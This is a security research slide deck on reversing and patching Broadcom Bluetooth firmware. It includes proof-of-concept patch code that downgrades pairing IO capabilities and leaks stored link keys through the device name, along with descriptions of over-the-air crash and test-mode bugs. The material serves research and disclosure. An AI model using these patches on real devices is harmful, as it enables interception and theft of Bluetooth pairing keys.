Reversing and Exploiting Broadcom Bluetooth
Motivation
THE MODERN BLUETOOTH STACK

- Limited Code Execution (CVE-2018-19860)
- No Input No Output MITM Attack
- Fixed Coordinate Invalid Curve Attack (CVE-2018-5383)
- Cracking the Bluetooth PIN (SAFER+, 2005)
- LE Legacy Pairing (Broken in BT 4.0/4.1)
Bluetooth Testing Setup

- Requires to be an active MITM or replace one of the two devices in a connection by a special testing device.
  - MITM: Implement active MITM and re-implement and modify the functions of the standard you want to test or optimize.
  - Testing device: Re-implement almost the whole standard.
- You really do not want to do this with an SDR!
Making Bluetooth Lower Layers Accessible

- Sniffing and testing do not require MITM, **access on one of the devices** within a connection is sufficient to get all contents of a session despite hopping.
- Lower layer traffic is not embedded within HCI (Host Controller Interface / layer 3) information.
  → Bluetooth **layer 1+2 cannot be observed or modified** despite being present on **off-the-shelf devices**.

- **Modify firmware** of existing chipsets to **monitor or inject** lower layer traffic.
- SEEMOO already did this for monitor mode on Broadcom Wi-Fi chips.
  → Use a well-tested Bluetooth implementation, reverse engineer it, and only patch the functions of interest.
InternalBlue
InternalBlue

Vendor specific HCI (local)

Modify firmware (Broadcom)

Link layer monitor & injection

Crash other Broadcom firmwares (CVE-2018-19860)

Fixed coordinate invalid curve attack test (CVE-2018-5383)

https://github.com/seemoo-lab/internalblue
InternalBlue Setup

Linux

ADB

Remote Device

Controller

Host

Bluetooth

Device Mgr

Link Manager

Baseband Resource Manager

Link Controller

Bluetooth PHY

Host Controller Interface (HCI)

L2CAP

SDP

RFCOMM

Bluetooth PHY

Link Controller

Baseband Resource Manager

Device Mgr

Host Controller Interface (HCI)

L2CAP

SDP

RFCOMM

Controller

Remote Device

Host

ADB

Linux
Do I have a device with a Broadcom chip?

- Platforms supported by *InternalBlue*:
  - **Android** 6 and 7, Lineage OS 14.1 (Android 8+9 in progress)
  - **Linux**/BlueZ (partially, some parts are work in progress)
  - **iOS** 12 with jailbreak
  - (macOS in progress)

- Devices tested so far:
  - **Nexus 5**, Xperia Z3 Compact, Samsung Galaxy Note 3 (*BCM4339*, best support)
  - Nexus 6P, Samsung Galaxy S6, Samsung Galaxy S6 edge (also good support)
  - MacBook Pro 2011+2016 (with Ubuntu)
  - Raspberry Pi 3/3+/4
  - iPhone 7
  - Any Linux PC with the **CYW20* evaluation board** attached (**known symbols**)!
  - BCM20702 based USB Bluetooth dongles (reverse engineering in progress)
  - ...

Devices with Broadcom chips supported by *InternalBlue*. [https://github.com/seemoo-lab/internalblue/tree/master/internalblue/fw/](https://github.com/seemoo-lab/internalblue/tree/master/internalblue/fw/)
Demo

No unicorns, no rainbows :( 

But runtime Assembly patching, function tracepoints, and a Wireshark dissector!
Reverse Engineering
Time Travel...

- 11813 function names
- 4060 hardware register names
- 2818 global object names

- ... and no symbols!
Reverse Engineering without Symbols

- `get_ptr_to_connection_struct()`
- `eventually_send_lmp_buffer()`
- `vendor_specific_hci_wtf()`
Lessons Learned

- Put a lot of effort in **online research**

- Look at **multiple versions** of a firmware in parallel
  - Different products of a vendor often share code
  - Development boards

- Analysis during **runtime**
  - Extract a RAM dump while the device does something interesting
  - Search for meaningful data: Bluetooth device name, MAC addresses, ...

- Use the **standard**
  - Command handler opcodes and packet lengths (LMP, HCI)
  - Logical order in state machines (Secure Simple Pairing)
ThreadX Data Structures

4-letter Strings in the RAM:

COLB  →  BLOC
UEUQ  →  QUEU
DRHT  →  THRD
AMES  →  SEMA

...  

Little Endian!

→ Block Memory, Queues, Threads, Semaphores, ...
### Copyright Strings in BCM20702 Firmware

<table>
<thead>
<tr>
<th>Address</th>
<th>String</th>
</tr>
</thead>
<tbody>
<tr>
<td>00081560</td>
<td>32 32 32 00 04 e4 05 00 3e 24 00 00 01 08 6e 04 222.L....&gt;$.....n.</td>
</tr>
<tr>
<td>00081570</td>
<td>02 00 00 00 34 4e 56 60 ....N`x........</td>
</tr>
<tr>
<td>00081580</td>
<td>1b 00 20 00 28 00 0f 0f 0f 00 00 6c e5 05 00 ....................</td>
</tr>
<tr>
<td>00081590</td>
<td>00 00 00 00 43 6f 70 79 72 69 67 68 74 28 63 20 2a 20 2a 6a 20 2a</td>
</tr>
<tr>
<td>000815a0</td>
<td>29 20 39 39 39 39 36 2d 32 38 30 33 28 45 78 70 72 1996-2003 Expr</td>
</tr>
<tr>
<td>000815b0</td>
<td>65 73 73 20 4c 6f 67 69 63 2e 20 2a 00 47 2d 47 42 2d 47 4c 2d 4d</td>
</tr>
<tr>
<td>000815c0</td>
<td>20 54 68 72 65 61 64 20 48 62 6c 6f 61 74 69 6e 2a 00 47 2d 4b</td>
</tr>
<tr>
<td>000815d0</td>
<td>72 65 66 66 6f 73 63 20 49 6e 63 2e 20 2a 00 47 2d 4b 2d 43 2d 4d</td>
</tr>
<tr>
<td>000815e0</td>
<td>6f 6e 20 47 34 34 2e 30 63 20 2a 00 47 2d 4b 2d 43 2d 4d 2d 4d</td>
</tr>
<tr>
<td>000815f0</td>
<td>47 2d 47 42 2d 47 4c 2d 4d 2d 4d 4d 2d 4d 2d 4d 2d 4d 2d 4d 2d 4d</td>
</tr>
<tr>
<td>00081600</td>
<td>4d 4c 2d 43 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d</td>
</tr>
<tr>
<td>00081610</td>
<td>5a 2d 4b 2d 4b 2d 4b 2d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d</td>
</tr>
<tr>
<td>00081620</td>
<td>4c 2d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d</td>
</tr>
<tr>
<td>00081630</td>
<td>2d 41 54 2d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d</td>
</tr>
<tr>
<td>00081640</td>
<td>2d 43 43 4d 2d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d 4d</td>
</tr>
<tr>
<td>00081650</td>
<td>05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</td>
</tr>
<tr>
<td>00081660</td>
<td>67 20 70 6f 69 6e 74 20 6f 75 74 70 75 74 20 75 74 20 75 74 20 75</td>
</tr>
<tr>
<td>00081670</td>
<td>6e 73 73 70 70 6f 72 74 65 64 20 77 20 2f 2d 63 20 6f 72 20 2d 6f</td>
</tr>
<tr>
<td>00081680</td>
<td>66 6c 6f 61 74 69 6f 20 6f 72 20 2d 66 6e 66 69 6f 20 6f 72 20 6f</td>
</tr>
</tbody>
</table>

- Older firmwares contain a **copyright string** mentioning ThreadX including its version.
- There is a **source code leak** and detailed **documentation** for this ThreadX version!
ThreadX

- Real-Time Operating System (RTOS) for embedded devices
- Developed by Express Logic
- Used in 6.2 billion devices
  - Mostly in Bluetooth, baseband and Wi-Fi controllers
  - Printers
  - Industrial devices
  - Medical devices
  - NASA’s Deep Impact Space Probe
  - ?

Leaked Symbols via WICED Studio / Modus Toolbox

<table>
<thead>
<tr>
<th>Firmware</th>
<th>Platform</th>
<th>Source</th>
</tr>
</thead>
<tbody>
<tr>
<td>20735B1</td>
<td>Cypress Evaluation Board</td>
<td>patch.elf, pdom</td>
</tr>
<tr>
<td>20719B1</td>
<td>Cypress Evaluation Board</td>
<td>patch.elf, pdom</td>
</tr>
<tr>
<td>20819B1</td>
<td>Cypress Evaluation Board</td>
<td>patch.elf</td>
</tr>
<tr>
<td>20706A2</td>
<td>?</td>
<td>pdom</td>
</tr>
<tr>
<td>20719B0</td>
<td>?</td>
<td>pdom</td>
</tr>
<tr>
<td>20729B0</td>
<td>?</td>
<td>pdom</td>
</tr>
<tr>
<td>20735B0</td>
<td>?</td>
<td>pdom</td>
</tr>
<tr>
<td>20739B0</td>
<td>?</td>
<td>patch.elf</td>
</tr>
<tr>
<td>20739B1</td>
<td>?</td>
<td>patch.elf, pdom</td>
</tr>
<tr>
<td>20703A2</td>
<td>Macbook Pro 2015/2016</td>
<td>ram_ext.symdefs, ram_ext.elf, ram_ext.lst, 20703mapa0.h</td>
</tr>
</tbody>
</table>
Reverse Engineering with Symbols

```c
thread_Create(ptr, name, prio, func, 0, 0, stack_size)
blueRF_Rd(addr)

diag_logLcpPkt()

DHM_LmPTx(conn, buff)
LM_LmpInfoTableBPCS
Im_handleEvents()

main()
bthci_cmd_vs_HandleSuper_Duper_Peek_Poke()```
Binary Patching
Adding C Support with Nexmon

Currently under development, see bluetooth-wip branch. https://github.com/seemoo-lab/nexmon/tree/bluetooth-wip
Nexmon (Wi-Fi) Patching Mechanism

Original Code

```
... ...
0x0023 BL interesting_function
... ...
0x1234 B interesting_function
... ...
0x1337 BL interesting_function
... ...
```

Nexmon Hooks

```
__attribute__((at(0x0023 ...))
BL Patch(hook1, new_function);

__attribute__((at(0x1234 ...))
B Patch(hook2, new_function);

__attribute__((at(0x1337 ...))
BL Patch(hook3, new_function);
```

New Function

```
void new_function(void) {
    // TODO your patch
    // eventually execute
    // original code
    // afterward
    interesting_function();
}
```
Wi-Fi Patching Pros/Cons

- Only overwrite branches we find to be interesting.
  (i.e. if we overwrite all `memcpy()` calls that would be a lot...)

- The complete firmware including ucode for physical layer processing is loaded during driver initialization.
  - We can modify all the firmware! :)
  - With each operating system update, all firmware might change :( 

- For one Asus router, a **source code leak in C** exists.
  - We can analyze C code instead of Assembly :)
  - We still need to find those functions in the Assembly again :( 

Bluetooth Patching Pros/Cons

- Patchram mechanism limits ROM patches to 128 hooks, many of those already used. We should use as few BPatch/BLPatch as possible!

- Only **firmware patches** are loaded during driver initialization.
  - We can modify all the firmware! :) 
  - The ROM containing the base firmware is the same on any operating system :) 
  - We probably cannot re-enable debugging as in the Nexmon debug project :(

- For a variety of chips, we have **leaked symbols**.
  - We only have Assembly for analysis :( 
  - Decompiled code looks very nice with symbols, almost as readable as C code, but no comments and some references missing.
  - We know function and global variable locations, **easy to patch** :)
Examples!!!
Before pairing and encryption, the devices need to agree on how to do the key exchange (ECDH).

No certificates available (self-signed per smartphone?!) to protect the key exchange against MITM.

If both devices have IO capabilities to enter or compare a number, this is used to protect against active MITM.

Agreement on IO capabilities itself is not protected...

How do manufacturers implement it? Is there a potential MITM warning?
Minimal Example: “No input, no output” During Pairing

Original Code

```
0x303D4       sp_handleEvent
0x303D4       PUSH   {R4-R6, LR}
0x303D6       MOV     R4, R0
0x303D8       LDR     R0, =sp_info
...           ...
0x3041E       jpt_3041A  DCB 9   ; jump table
0x3041F       DCB 0x12
0x30420       DCB 0x22
0x30421       DCB 0x2C
0x30422       DCB 0x31
0x30423       DCB 0x3B
```

Nexmon Hook

```
__attribute__((at(0x303D4, "", CHIP_VER_BCM4335C0_BT, FW_VER_NEXUS5)))
BPatch(nino1, nino);
```

New Function

```
void nino(void) {
    __asm__("push {r4-r6, lr}\n\t"  "mov r4, r0\n\t");

    // No Input, No Output
    *io_caps = 0x03;

    __asm__("b 0x303D8");
}
```
Build it

git clone https://github.com/seemoo-lab/nexmon/
cd nexmon
git checkout bluetooth-wip
source setup_env.sh
make

cd patches/bcm4335c0_BT/nexmon
source setup_env.sh
cd NiNo_PoC
make

make backup-hcd
make # if you want the .hcd installed
make install-patch # if you want the .hcd installed
make python # if you want an InternalBlue Python script
python *.py # if you want an InternalBlue Python script
Python script, since we do not permanently need to fake our IO capabilities.

Most important part here:

- Remember, we can only perform `patchRom` up to 128 times! Nexus 5 is already using 112 of these slots for on Android 6.
Uhm… okay?

Anything hacky we could do if we had arbitrary code execution over the air?
Let’s do something cool...

- The controller cannot store link keys for encryption, it has no memory area that can be written and survives a reboot.

- If the controller needs a link key for a previously paired device, it can **ask the host for the link key** of a specific MAC address.

  Controller → Host: Link Key Request Event

- The host will reply even if there is no active session.

  Host → Controller: Link Key Request Reply Command
wrapper.c

AT(CHIP_VER_BCM4335C0_BT, FW_VER_ALL, 0x7B14)
char*
hci_allocateEventBlock(char event_code)
RETURN_DUMMY

AT(CHIP_VER_BCM4335C0_BT, FW_VER_ALL, 0x79E4)
void
hci_sendEvent(char* buffer)
VOID_DUMMY

AT(CHIP_VER_BCM4335C0_BT, FW_VER_ALL, 0x31114)
void
patch_installPatchEntry(unsigned int addr, void *data_ptr, unsigned int slot)
VOID_DUMMY

AT(CHIP_VER_BCM4335C0_BT, FW_VER_ALL, 0x46FE6)
int
memcpybt(void *dst, void *src, int len)
RETURN_DUMMY
Exploit Payload: Rename Device to Link Key Value

Original Code

```assembly
bthci_cmd_lci_HandleLink_Key_Request_Reply
PUSH.W {R4-R8,LR}
MOV R6, R0
ADD.W R7, R0, #8
MOV R5, R1
ADDS R0, R1, #3 ; bdaddr
BL rm_getConnFromBdAddress_42F78
MOVS R4, R0 ; conn == 0?
BEQ no_conn_for_bd_addr
; memcpy(conn->link_key, payload, 0x10)
MOVS R2, #0x10 ; size
ADD.W R1, R5, #9 ; src
ADD.W R0, R4, #0x68 ; dst
BL __rt_memcpy
```

Step 1: Whenever the host sends a link key to the controller, copy the key to the local device name.

ROM Hook without Nexmon BPatch

```c
#define __attribute__((naked)) // do not push registers etc.

void activate_leak(void) {
    void* patch = (void*) 0xbd4cf073; // inline assembly for "b device_name_link_key"
    patch_installPatchEntry(0x63E64, &patch, 120);
}
```

New Function

```c
_attribute__((naked)) // do not push registers etc.
void device_name_link_key(void) {
    char* rm_deviceLocalName = (char*) 0x2178B4; // BCM4339 specific location
    memcpybt(rm_deviceLocalName, "\x12\x09", 2);
    // memcpy(rm_deviceLocalName+2, payload, 0x10)
    __asm__(
        "mov r2, #0x10\n"
        "add r1, r5, #9\n"
        "ldr r0, =0x2178B6\n"
        "bl memcpybt\n"
        // TODO this also renames our device under attack to all other link keys when used, we could uninstall the patch entry here...
        "bl 0x42f78\n"
        "bl 0x63E68\n"
    )
    // return to original function
}```
Exploit Trigger: Ask the Host for a Link Key

New Function

```c
void leak_link_key(void) {
    char* buffer = hciAllocateEventBlock(0x17);
    BD_ADDR in reverse byte order
    TODO replace with the device you're interested in
    memcpy(&buffer[2], "\x66\x55\x44\x33\x22\x11", 6);
    Nexus 5 host will always reply, even if there is currently no
    connection to BD_ADDR
    hciSendEvent(buffer);
}
```

Step 2: Ask the host for a specific link key.
Attack Impact

- An attacker who has remote code execution on your Bluetooth firmware can exfiltrate all link keys.
- Depending on the firmware vulnerability, remote code execution can be triggered in ways that might not be observable by the user.

- You have **Bluetooth enabled** quite often?
- You even **travel** around with Bluetooth enabled?
- You did not install all **operating system patches** on your smartphone the same day they were made available?

Do not trust any pairing!

...but the attacker needs some code execution within the firmware over the air first...
Finding Bugs in Lower Layers
Bluetooth Lower Layers: Security Perspective

- Bluetooth lower layers are not well-tested.

- If you know the **MAC address**, you can **connect** to a device and get more information, i.e. which LMP version it is running (often equals the **firmware version**).

  “Hi there, I’m a Broadcom Bluetooth 4.1 chip running an attackable LMP minor version of 0x2203…”
Uninitialized Encryption

- The attacker **initiates** SSP (Secure Simple **Pairing**) with the victim. Only the MAC address must be known for this, the device is not required to be discoverable. The victim is not required to take any action.
- Instead of completing the pairing, the attacker sends an `LMP_start_encryption_req`.
- Bluetooth crashes within the `bignum_xor_mod` on **Nexus 5**, your mileage might vary on other platforms.

- CVE-2019-6994
Handler Escalation Over the Air: HCI via LMP

- Missing parameter check in a vendor specific LMP handler...
- **Crashes are the best case!**
- More reversing allows to **execute meaningful code**, but for each firmware version memory contents are different.
  (So far we did not find arbitrary code execution on Nexus 5.)
- On Nexus 5 we are able to **execute test mode**, which normally needs to be enabled locally on the host.
- Many more vulnerable devices, such as *iPhone 5...6, Macbook 2012...2017, Raspberry Pi 3*.
- CVE-2018-19860 / **BT-B-gOne**

LMP input: 00 95 ...

- **LMP BPCS handler table**
  - 00 00 Features request
  - 01 01 Features response
  - ...
  - 05 05 BFC accept

- **Next (unknown) handler table**
  - 06 00 ...
  - ...

- **HCI link control handler table**
- **HCI link policy handler table**
- **HCI host controller handler table**
- **HCI info parameter handler table**
- **HCI status parameter handler table**
- **HCI test handler table**

- 95 03 Enable device under test mode

- **HCI vendor specific handler table**
  - **BD 4E Launch RAM (wrong parameters)**
• Master (attacker) and remote device exchange test packets.
• Master can **disable adaptive frequency hopping** (AFH) on target device but not change its own...
• No matter if AFH is disabled or not, one can see both devices hopping on all channels during test mode.
• Works on **Nexus 5 and Xperia Z3** (*BCM4339*).
Demo

... something with Assembly patches, unicorns, and rainbows.
(Okay, no rainbows.)